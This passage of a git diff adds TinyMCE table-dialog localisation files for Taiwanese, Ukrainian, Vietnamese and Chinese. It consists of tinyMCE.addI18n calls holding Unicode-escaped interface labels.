Alt\u0131",tbody:"Tablo G\u00f6vdesi",thead:"Tablo Ba\u015fl\u0131\u011f\u0131","row_all":"Tablodaki t\u00fcm sat\u0131rlar\u0131 g\u00fcncelle","row_even":"Tablodaki \u00e7ift nolu sat\u0131rlar\u0131 g\u00fcncelle","row_odd":"Tablodaki tek nolu sat\u0131rlar\u0131 g\u00fcncelle","row_row":"Se\u00e7ili sat\u0131r\u0131 g\u00fcncelle","cell_all":"Tablodaki t\u00fcm h\u00fccreleri g\u00fcncelle","cell_row":"Sat\u0131rdaki t\u00fcm h\u00fccreleri g\u00fcncelle","cell_cell":"Se\u00e7ili h\u00fccreleri g\u00fcncelle",th:"Ba\u015fl\u0131k",td:"Veri",summary:"\u00d6zet",bgimage:"Arkaplan resmi",rtl:"Soldan sa\u011fa",ltr:"Sa\u011fdan sola",mime:"Hedef MIME tipi",langcode:"Dil kodu",langdir:"Dil y\u00f6n\u00fc",style:"Stil",id:"Id","merge_cells_title":"Tablo h\u00fccrelerini birle\u015ftir",bgcolor:"Arkaplan rengi",bordercolor:"Kenarl\u0131k rengi","align_bottom":"Alt","align_top":"\u00dcst",valign:"Dikey hizalama","cell_type":"H\u00fccre tipi","cell_title":"Tablo h\u00fccre \u00f6zellikleri","row_title":"Tablo sat\u0131r \u00f6zellikleri","align_middle":"Orta","align_right":"Sa\u011f","align_left":"Sol","align_default":"Varsay\u0131lan",align:"Hizalama",border:"Kenarl\u0131k",cellpadding:"H\u00fccre d\u0131\u015f\u0131 bo\u015flu\u011fu",cellspacing:"H\u00fccre i\u00e7i bo\u015flu\u011fu",rows:"Sat\u0131rlar",cols:"S\u00fctunlar",height:"Y\u00fckseklik",width:"Geni\u015flik",title:"Tablo Ekle/D\u00fczenle",rowtype:"Tablo b\u00f6l\u00fcm\u00fcndeki sat\u0131r","advanced_props":"Geli\u015fmi\u015f \u00f6zellikler","general_props":"Genel \u00f6zellikler","advanced_tab":"Geli\u015fmi\u015f","general_tab":"Genel","cell_col":"S\u00fctundaki b\u00fct\u00fcn h\u00fccreleri g\u00fcncelle"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/tw_dlg.js b/js/tiny_mce2/plugins/table/langs/tw_dlg.js new file mode 100755 index 0000000..12c3c44 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.table_dlg',{"rules_border":"\u5916\u6846","rules_box":"\u76d2\u578b","rules_vsides":"\u5782\u76f4","rules_rhs":"\u53f3\u908a","rules_lhs":"\u5de6\u908a","rules_hsides":"\u6c34\u5e73","rules_below":"\u4e0b","rules_above":"\u4e0a","rules_void":"\u7a7a",rules:"\u898f\u5247","frame_all":"\u5168\u90e8","frame_cols":"\u6b04","frame_rows":"\u884c","frame_groups":"\u7fa4\u7d44","frame_none":"\u7121",frame:"\u6846\u67b6",caption:"\u8868\u683c\u6a19\u984c","missing_scope":"\u60a8\u78ba\u5b9a\u4e0d\u6307\u5b9a\u8868\u683c\u982d\u90e8\u5132\u5b58\u683c\u4e00\u500b\u7bc4\u570d\u55ce\uff1f\u6c92\u6709\u5b83\uff0c\u6216\u8a31\u5c0d\u90a3\u4e9b\u6709\u969c\u7919\u7684\u4f7f\u7528\u8005\u7406\u89e3\u8868\u683c\u5c55\u793a\u7684\u5167\u5bb9\u6216\u6578\u64da\u66f4\u52a0\u7684\u56f0\u96e3\u3002","cell_limit":"\u5df2\u8d85\u904e\u6700\u5927\u5132\u5b58\u683c\u9650\u5236{$cells} \u5132\u5b58\u683c\u3002","row_limit":"\u5df2\u8d85\u904e\u6700\u5927\u884c\u6578\u9650\u5236 {$rows} \u5217\u3002","col_limit":"\u5df2\u8d85\u904e\u6700\u5927\u6b04\u6578\u9650\u5236 {$cols} \u6b04\u3002",colgroup:"\u6b04\u7fa4\u7d44",rowgroup:"\u884c\u7fa4\u7d44",scope:"\u7bc4\u570d",tfoot:"\u8868\u5c3e",tbody:"\u8868\u683c\u4e3b\u9ad4",thead:"\u8868\u982d","row_all":"\u66f4\u65b0\u8868\u683c\u7684\u6240\u6709\u884c","row_even":"\u66f4\u65b0\u8868\u683c\u7684\u5076\u6578\u884c","row_odd":"\u66f4\u65b0\u8868\u683c\u7684\u5947\u6578\u884c","row_row":"\u66f4\u65b0\u76ee\u524d\u884c","cell_all":"\u66f4\u65b0\u6240\u6709\u5132\u5b58\u683c","cell_row":"\u66f4\u65b0\u76ee\u524d\u884c\u7684\u5132\u5b58\u683c","cell_cell":"\u66f4\u65b0\u76ee\u524d\u5132\u5b58\u683c",th:"\u8868\u982d",td:"\u8cc7\u6599",summary:"\u6458\u8981",bgimage:"\u80cc\u666f\u5716\u7247",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",mime:"MIME \u985e\u578b",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u8a9e\u8a00\u66f8\u5beb\u65b9\u5411",style:"\u6a23\u5f0f",id:"ID","merge_cells_title":"\u5408\u4f75\u5132\u5b58\u683c",bgcolor:"\u80cc\u666f\u984f\u8272",bordercolor:"\u908a\u6846\u984f\u8272","align_bottom":"\u9760\u4e0b","align_top":"\u9760\u4e0a",valign:"\u5782\u76f4\u5c0d\u9f4a","cell_type":"\u5132\u5b58\u683c\u985e\u578b","cell_title":"\u5132\u5b58\u683c\u6a19\u984c","row_title":"\u884c\u5c6c\u6027","align_middle":"\u7f6e\u4e2d\u5c0d\u9f4a","align_right":"\u9760\u53f3\u5c0d\u9f4a","align_left":"\u9760\u5de6\u5c0d\u9f4a","align_default":"\u9810\u8a2d",align:"\u5c0d\u9f4a\u65b9\u5f0f",border:"\u908a\u6846",cellpadding:"\u5132\u5b58\u683c\u908a\u8ddd",cellspacing:"\u5132\u5b58\u683c\u9593\u8ddd",rows:"\u884c\u6578",cols:"\u6b04\u6578",height:"\u9ad8\u5ea6",width:"\u5bec\u5ea6",title:"\u63d2\u5165/\u7de8\u8f2f\u8868\u683c",rowtype:"\u884c\u6240\u5728\u7684\u8868\u683c\u4f4d\u7f6e","advanced_props":"\u9032\u968e\u5c6c\u6027","general_props":"\u4e00\u822c\u5c6c\u6027","advanced_tab":"\u9032\u968e","general_tab":"\u4e00\u822c","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/uk_dlg.js b/js/tiny_mce2/plugins/table/langs/uk_dlg.js new file mode 100755 index 0000000..396cbb6 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.table_dlg',{"rules_border":"\u0440\u0430\u043c\u043a\u0430","rules_box":"\u0431\u043e\u043a\u0441","rules_vsides":"v-\u0441\u0442\u043e\u0440\u043e\u043d\u0438","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"h-\u0441\u0442\u043e\u0440\u043e\u043d\u0438","rules_below":"\u0437\u043d\u0438\u0437\u0443","rules_above":"\u0437\u0432\u0435\u0440\u0445\u0443","rules_void":"\u043f\u0443\u0441\u0442\u043e",rules:"\u041f\u0440\u0430\u0432\u0438\u043b\u0430","frame_all":"\u0432\u0441\u0456","frame_cols":"\u0441\u0442\u043e\u0432\u043f\u0446\u0456","frame_rows":"\u0440\u044f\u0434\u043a\u0438","frame_groups":"\u0433\u0440\u0443\u043f\u0438","frame_none":"\u043d\u0456\u044f\u043a\u0438\u0439",frame:"\u0424\u0440\u0435\u0439\u043c",caption:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0456","missing_scope":"\u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u0432\u0436\u0438\u0442\u0438 \u043d\u0435 \u0432\u043a\u0430\u0437\u0430\u0432\u0448\u0438 \u043c\u0435\u0436\u0456 \u0434\u043b\u044f \u0446\u0456\u0454\u0457 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443. \u0411\u0435\u0437 \u0446\u044c\u043e\u0433\u043e \u0434\u0435\u044f\u043a\u0438\u043c \u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430\u043c \u0431\u0443\u0434\u0435 \u0432\u0430\u0436\u043a\u043e \u0437\u0440\u043e\u0437\u0443\u043c\u0456\u0442\u0438 \u0437\u043c\u0456\u0441\u0442 \u0442\u0430\u0431\u043b\u0438\u0446\u0456.","cell_limit":"\u0412\u0438 \u043f\u0435\u0440\u0435\u0432\u0438\u0449\u0438\u043b\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043a\u043e\u043c\u0456\u0440\u043e\u043a: {$cells}.","row_limit":"\u0412\u0438 \u043f\u0435\u0440\u0435\u0432\u0438\u0449\u0438\u043b\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0440\u044f\u0434\u043a\u0456\u0432: {$rows}.","col_limit":"\u0412\u0438 \u043f\u0435\u0440\u0435\u0432\u0438\u0449\u0438\u043b\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0441\u0442\u043e\u0432\u043f\u0446\u0456\u0432: {$cols}.",colgroup:"\u0413\u0440\u0443\u043f\u0430 \u0441\u0442\u043e\u0432\u043f\u0446\u0456\u0432",rowgroup:"\u0413\u0440\u0443\u043f\u0430 \u043a\u043e\u043c\u0456\u0440\u043e\u043a",scope:"\u0420\u043e\u0437\u043c\u0430\u0445",tfoot:"\u041d\u0438\u0436\u043d\u044f \u0447\u0430\u0441\u0442\u0438\u043d\u0430",tbody:"\u0422\u0456\u043b\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u0456",thead:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_all":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u0440\u044f\u0434\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_even":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043f\u0430\u0440\u043d\u0456 \u0440\u044f\u0434\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_odd":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043d\u0435\u043f\u0430\u0440\u043d\u0456 \u0440\u044f\u0434\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446","row_row":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043f\u043e\u0442\u043e\u0447\u043d\u0438\u0439 \u0440\u044f\u0434\u043e\u043a","cell_all":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","cell_row":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0432 \u0440\u044f\u0434\u043a\u0443","cell_cell":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043f\u043e\u0442\u043e\u0447\u043d\u0443 \u043a\u043e\u043c\u0456\u0440\u043a\u0443",th:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",td:"\u0414\u0430\u043d\u043d\u0456",summary:"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0456\u0432\u043e",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",mime:"MIME-\u0442\u0438\u043f \u0446\u0456\u043b\u0456",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c \u043c\u043e\u0432\u0438",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440","merge_cells_title":"\u041e\u0431\'\u0454\u0434\u043d\u0430\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0438",bgcolor:"\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443",bordercolor:"\u041a\u043e\u043b\u0456\u0440 \u0433\u0440\u0430\u043d\u0438\u0446\u0456","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",valign:"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f","cell_type":"\u0422\u0438\u043f \u043a\u043e\u043c\u0456\u0440\u043a\u0438","cell_title":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_title":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0440\u044f\u0434\u043a\u0443 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_default":"\u0417\u0430 \u0437\u0430\u043c\u043e\u0432\u0447\u0430\u043d\u043d\u044f\u043c",align:"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",border:"\u0420\u0430\u043c\u043a\u0430",cellpadding:"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438 \u0443 \u043a\u043e\u043c\u0456\u0440\u043a\u0430\u0445",cellspacing:"\u0412\u0456\u0434\u0441\u0442\u0430\u043d\u044c \u043c\u0456\u0436 \u043a\u043e\u043c\u0456\u0440\u043a\u0430\u043c\u0438",rows:"\u0420\u044f\u0434\u043a\u0438",cols:"\u0421\u0442\u043e\u0432\u043f\u0446\u0456",height:"\u0412\u0438\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",title:"\u0414\u043e\u0434\u0430\u0442\u0438/\u0417\u043c\u0456\u043d\u0438\u0442\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u044e",rowtype:"\u0420\u044f\u0434\u043e\u043a \u0432 \u0447\u0430\u0441\u0442\u0438\u043d\u0456 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","advanced_props":"\u0420\u043e\u0437\u0448\u0438\u0440\u0435\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","general_props":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","advanced_tab":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","cell_col":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u043a\u043b\u0456\u0442\u0438\u043d\u043a\u0438 \u0432 \u043a\u043e\u043b\u043e\u043d\u0446\u0456"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/vi_dlg.js b/js/tiny_mce2/plugins/table/langs/vi_dlg.js new file mode 100755 index 0000000..64318f6 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.table_dlg',{"rules_border":"vi\u1ec1n","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"d\u01b0\u1edbi","rules_above":"tr\u00ean","rules_void":"tr\u1ed1ng kh\u00f4ng",rules:"Th\u01b0\u1edbc","frame_all":"t\u1ea5t","frame_cols":"c\u1ed9t","frame_rows":"h\u00e0ng","frame_groups":"nh\u00f3m","frame_none":"kh\u00f4ng",frame:"Khung",caption:"Ch\u00fa t\u00edch b\u1ea3ng","missing_scope":"Ti\u1ebfp t\u1ee5c v\u1edbi \u0111\u01b0\u1eddng d\u1eabn kh\u00f4ng t\u1ed3n t\u1ea1i ?","cell_limit":"B\u1ea1n \u0111\u00e3 v\u01b0\u1ee3t qu\u00e1 s\u1ed1 t\u1ed1i \u0111a \u00f4 c\u1ee7a {$cells}.","row_limit":"B\u1ea1n \u0111\u00e3 v\u01b0\u1ee3t qu\u00e1 s\u1ed1 t\u1ed1i \u0111a h\u00e0ng c\u1ee7a {$rows}.","col_limit":"B\u1ea1n \u0111\u00e3 v\u01b0\u1ee3t qu\u00e1 s\u1ed1 t\u1ed1i \u0111a c\u1ed9t c\u1ee7a {$cols}.",colgroup:"Nh\u00f3m c\u1ed9t",rowgroup:"Nh\u00f3m h\u00e0ng",scope:"Ph\u1ea1m vi",tfoot:"Ch\u00e2n b\u1ea3ng",tbody:"Th\u00e2n b\u1ea3n",thead:"\u0110\u1ea7u b\u1ea3ng","row_all":"C\u1eadp nh\u1eadt t\u1ea5t h\u00e0ng trong b\u1ea3ng","row_even":"C\u1eadp nh\u1eadt h\u00e0ng ch\u1eb5n trong b\u1ea3ng","row_odd":"C\u1eadp nh\u1eadt h\u00e0ng l\u1ebb trong b\u1ea3ng","row_row":"C\u1eadp nh\u1eadt h\u00e0ng hi\u1ec7n th\u1eddi","cell_all":"C\u1eadp nh\u1ea5t t\u1ea5t c\u00e1c \u00f4 trong b\u1ea3ng","cell_row":"C\u1eadp nh\u1ea5t t\u1ea5t c\u00e1c \u00f4 trong h\u00e0ng","cell_cell":"C\u1eadp nh\u1eadt \u00f4 hi\u1ec7n th\u1eddi",th:"\u0110\u1ea7u \u0111\u1ec1",td:"D\u1eef li\u1ec7u",summary:"T\u00f3m l\u01b0\u1ee3c",bgimage:"\u1ea2nh n\u1ec1n",rtl:"Ph\u1ea3i qua tr\u00e1i",ltr:"Tr\u00e1i qua ph\u1ea3i",mime:"Ki\u1ec3u MIME \u0111\u00edch",langcode:"M\u00e3 ng\u00f4n ng\u1eef",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef",style:"Ki\u1ec3u d\u00e1ng",id:"Id","merge_cells_title":"K\u1ebft h\u1ee3p c\u00e1c \u00f4 c\u1ee7a b\u1ea3ng",bgcolor:"M\u00e0u n\u1ec1n",bordercolor:"M\u00e0u vi\u1ec1n","align_bottom":"D\u01b0\u1edbi","align_top":"Tr\u00ean",valign:"Canh l\u1ec1 d\u1ecdc","cell_type":"Lo\u1ea1i \u00f4","cell_title":"Thu\u1ed9c t\u00ednh \u00f4","row_title":"Thu\u1ed9c t\u00ednh h\u00e0ng","align_middle":"Gi\u1eefa","align_right":"Ph\u1ea3i","align_left":"Tr\u00e1i","align_default":"M\u1eb7c \u0111\u1ecbnh",align:"Canh l\u1ec1",border:"Vi\u1ec1n",cellpadding:"Kho\u1ea3ng l\u00f3t \u00f4",cellspacing:"Kho\u1ea3ng c\u00e1ch \u00f4",rows:"H\u00e0ng",cols:"C\u1ed9t",height:"Chi\u1ec1u cao",width:"Chi\u1ec1u r\u1ed9ng",title:"Ch\u00e8n/S\u1eeda b\u1ea3ng",rowtype:"H\u00e0ng trong t\u1eebng ph\u1ea7n b\u1ea3ng","advanced_props":"Thu\u1ed9c t\u00ednh n\u00e2ng cao","general_props":"Thu\u1ed9c t\u00ednh chung","advanced_tab":"N\u00e2ng cao","general_tab":"Chung","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/table/langs/zh-cn_dlg.js new file mode 100755 index 0000000..4fe3003 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.table_dlg',{"rules_border":"\u8fb9\u6846","rules_box":"\u6846","rules_vsides":"\u5782\u76f4","rules_rhs":"\u53f3\u8fb9","rules_lhs":"\u5de6\u8fb9","rules_hsides":"\u6c34\u5e73","rules_below":"\u4e0b","rules_above":"\u4e0a","rules_void":"\u7a7a",rules:"\u89c4\u5219","frame_all":"\u5168\u90e8","frame_cols":"\u5217","frame_rows":"\u884c","frame_groups":"\u5206\u7ec4","frame_none":"\u65e0",frame:"\u6846\u67b6",caption:"\u683c\u6807\u9898","missing_scope":"\u60a8\u6ca1\u6709\u6307\u5b9a\u8868\u683c\u7684\u6807\u9898\u5355\u5143\uff0c\u5982\u679c\u4e0d\u8bbe\u7f6e\uff0c\u53ef\u80fd\u4f1a\u4f7f\u7528\u6237\u96be\u4ee5\u7406\u89e3\u60a8\u7684\u8868\u683c\u7684\u5185\u5bb9\u3002\u60a8\u8981\u7ee7\u7eed\u5417\uff1f","cell_limit":"\u5df2\u7ecf\u8d85\u51fa\u6700\u5927\u5355\u5143\u683c\u6570{$cells}\u3002","row_limit":"\u5df2\u7ecf\u8d85\u51fa\u6700\u5927\u884c\u6570{$rows}\u3002","col_limit":"\u5df2\u7ecf\u8d85\u51fa\u6700\u5927\u5217\u6570{$cols}\u3002",colgroup:"\u5217\u5206\u7ec4",rowgroup:"\u884c\u5206\u7ec4",scope:"\u8303\u56f4",tfoot:"\u8868\u5c3e",tbody:"\u8868\u683c\u4e3b\u4f53",thead:"\u8868\u5934","row_all":"\u66f4\u65b0\u8868\u683c\u7684\u6240\u6709\u884c","row_even":"\u66f4\u65b0\u8868\u683c\u7684\u5076\u6570\u884c","row_odd":"\u66f4\u65b0\u8868\u683c\u7684\u5947\u6570\u884c","row_row":"\u66f4\u65b0\u5f53\u524d\u884c","cell_all":"\u66f4\u65b0\u6240\u6709\u5355\u5143\u683c","cell_row":"\u66f4\u65b0\u5f53\u524d\u884c\u7684\u5355\u5143\u683c","cell_cell":"\u66f4\u65b0\u5f53\u524d\u5355\u5143\u683c",th:"\u8868\u5934",td:"\u5185\u5bb9",summary:"\u6458\u8981",bgimage:"\u80cc\u666f\u56fe\u7247",rtl:"\u4ece\u53f3\u5230\u5de6",ltr:"\u4ece\u5de6\u5230\u53f3",mime:"\u76ee\u6807MIME\u7c7b\u578b",langcode:"\u8bed\u8a00\u7f16\u7801",langdir:"\u8bed\u8a00\u4e66\u5199\u65b9\u5411",style:"\u6837\u5f0f",id:"ID","merge_cells_title":"\u5408\u5e76\u5355\u5143\u683c",bgcolor:"\u80cc\u666f\u989c\u8272",bordercolor:"\u8fb9\u6846\u989c\u8272","align_bottom":"\u9760\u4e0b","align_top":"\u9760\u4e0a",valign:"\u5782\u76f4\u5bf9\u9f50","cell_type":"\u5355\u5143\u683c\u7c7b\u578b","cell_title":"\u5355\u5143\u683c\u5c5e\u6027","row_title":"\u884c\u5c5e\u6027","align_middle":"\u5c45\u4e2d","align_right":"\u53f3\u5bf9\u9f50","align_left":"\u5de6\u5bf9\u9f50","align_default":"\u9ed8\u8ba4",align:"\u5bf9\u9f50",border:"\u8fb9\u6846",cellpadding:"\u5355\u5143\u683c\u8fb9\u8ddd",cellspacing:"\u5355\u5143\u683c\u95f4\u8ddd",rows:"\u884c\u6570",cols:"\u5217\u6570",height:"\u9ad8\u5ea6",width:"\u5bbd\u5ea6",title:"\u63d2\u5165/\u7f16\u8f91 \u8868\u683c",rowtype:"\u884c\u6240\u5728\u7684\u8868\u683c\u4f4d\u7f6e","advanced_props":"\u9ad8\u7ea7\u5c5e\u6027","general_props":"\u666e\u901a\u5c5e\u6027","advanced_tab":"\u9ad8\u7ea7","general_tab":"\u666e\u901a","cell_col":"\u66f4\u65b0\u8be5\u5217\u5168\u90e8\u5355\u5143\u683c"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/table/langs/zh-tw_dlg.js new file mode 100755 index 0000000..7a89be3 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.table_dlg',{"rules_border":"\u908a\u6846","rules_box":"\u6846","rules_vsides":"\u5782\u76f4","rules_rhs":"\u53f3\u908a","rules_lhs":"\u5de6\u908a","rules_hsides":"\u6c34\u5e73","rules_below":"\u4e0b\u65b9","rules_above":"\u4e0a\u65b9","rules_void":"\u7121\u6548",rules:"\u898f\u5247","frame_all":"\u5168\u90e8","frame_cols":"\u6b04","frame_rows":"\u5217","frame_groups":"\u7fa4\u7d44","frame_none":"\u7121",frame:"\u6846\u67b6",caption:"\u8868\u683c\u8aaa\u660e","missing_scope":"\u60a8\u8868\u683c\u7b2c\u4e00\u884c\u7684\u8868\u683c\u6c92\u6709\u8a2d\u5b9a\u6a19\u984c\u5132\u5b58\u683c (TH)\uff0c\u9019\u53ef\u80fd\u4e0d\u5229\u65bc\u7db2\u9801 SEO \u8207 \u7121\u969c\u7919\u7a7a\u9593\u898f\u7bc4\uff0c\u60a8\u78ba\u5b9a\u8981\u5ffd\u7565\u9019\u500b\u55ce\uff1f","cell_limit":"\u8868\u683c\u5167\u7684\u683c\u5b57\u592a\u591a\uff0c\u529f\u80fd\u7121\u6cd5\u904b\u4f5c\uff0c\u5df2\u7d93\u8d85\u904e {$cells} \u500b\u3002","row_limit":"\u8868\u683c\u5167\u7684\u5217\u6578\u592a\u591a\uff0c\u529f\u80fd\u7121\u6cd5\u904b\u4f5c\uff0c\u5df2\u7d93\u8d85\u904e {$rows} \u5217\u3002","col_limit":"\u8868\u683c\u5167\u7684\u6b04\u4f4d\u592a\u591a\uff0c\u529f\u80fd\u7121\u6cd5\u904b\u4f5c\uff0c\u5df2\u7d93\u8d85\u904e {$cols} \u6b04\u3002",colgroup:"\u6b04\u4f4d\u7fa4\u7d44",rowgroup:"\u5217\u7fa4\u7d44",scope:"\u5957\u7528\u7bc4\u570d",tfoot:"\u8868\u683c\u5c3e\u90e8",tbody:"\u8868\u683c\u4e3b\u9ad4",thead:"\u8868\u683c\u4e0a\u982d","row_all":"\u66f4\u65b0\u5168\u90e8\u7684\u5217","row_even":"\u53ea\u66f4\u65b0\u8868\u683c\u4e0a\u7684\u5076\u6578\u5217","row_odd":"\u53ea\u66f4\u65b0\u8868\u683c\u4e0a\u7684\u5947\u6578\u5217","row_row":"\u53ea\u66f4\u65b0\u76ee\u524d\u9019\u5217","cell_all":"\u66f4\u65b0\u5168\u90e8\u5132\u5b58\u683c","cell_row":"\u66f4\u65b0\u76ee\u524d\u9019\u5217\u4e0a\u7684\u683c\u5b50","cell_cell":"\u66f4\u65b0\u76ee\u524d\u7684\u683c\u5b50\u5c31\u597d",th:"\u8868\u982d",td:"\u8cc7\u6599",summary:"\u8868\u683c\u6458\u8981",bgimage:"\u80cc\u666f\u5716",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",mime:"\u76ee\u6a19 MIME \u985e\u578b",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u66f8\u5beb\u65b9\u5411",style:"\u6a23\u5f0f",id:"\u8868\u683c\u7684 ID","merge_cells_title":"\u5408\u4f75\u5132\u5b58\u683c",bgcolor:"\u80cc\u666f\u984f\u8272",bordercolor:"\u908a\u6846\u7684\u984f\u8272","align_bottom":"\u9760\u4e0b","align_top":"\u9760\u4e0a",valign:"\u5782\u76f4\u5c0d\u9f4a","cell_type":"\u5132\u5b58\u683c\u7684\u5f62\u5f0f","cell_title":"\u8868\u683c\u683c\u5b50\u7684\u5c6c\u6027","row_title":"\u8868\u683c\u5217\u7684\u5c6c\u6027","align_middle":"\u4e2d\u9593","align_right":"\u53f3\u908a","align_left":"\u5de6\u908a","align_default":"\u9810\u8a2d",align:"\u5c0d\u9f4a\u65b9\u5f0f",border:"\u908a\u6846",cellpadding:"\u683c\u5b50\u7684\u5167\u8ddd",cellspacing:"\u683c\u5b50\u9593\u7684\u8ddd\u96e2",rows:"\u5217",cols:"\u6b04",height:"\u9ad8\u5ea6",width:"\u5bec\u5ea6",title:"\u52a0\u5165 / \u8a2d\u5b9a\u8868\u683c",rowtype:"\u76ee\u524d\u4f4d\u7f6e\u5217\u7684\u4f4d\u7f6e","advanced_props":"\u66f4\u591a\u5c6c\u6027","general_props":"\u5c6c\u6027\u8a2d\u5b9a","advanced_tab":"\u66f4\u591a","general_tab":"\u4e00\u822c","cell_col":"\u66f4\u65b0\u9019\u6b04\u4e0b\u7684\u6240\u6709\u683c\u5b50"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/merge_cells.htm b/js/tiny_mce2/plugins/table/merge_cells.htm new file mode 100755 index 0000000..788acf6 --- /dev/null +++ b/js/tiny_mce2/plugins/table/merge_cells.htm @@ -0,0 +1,32 @@ + + + + 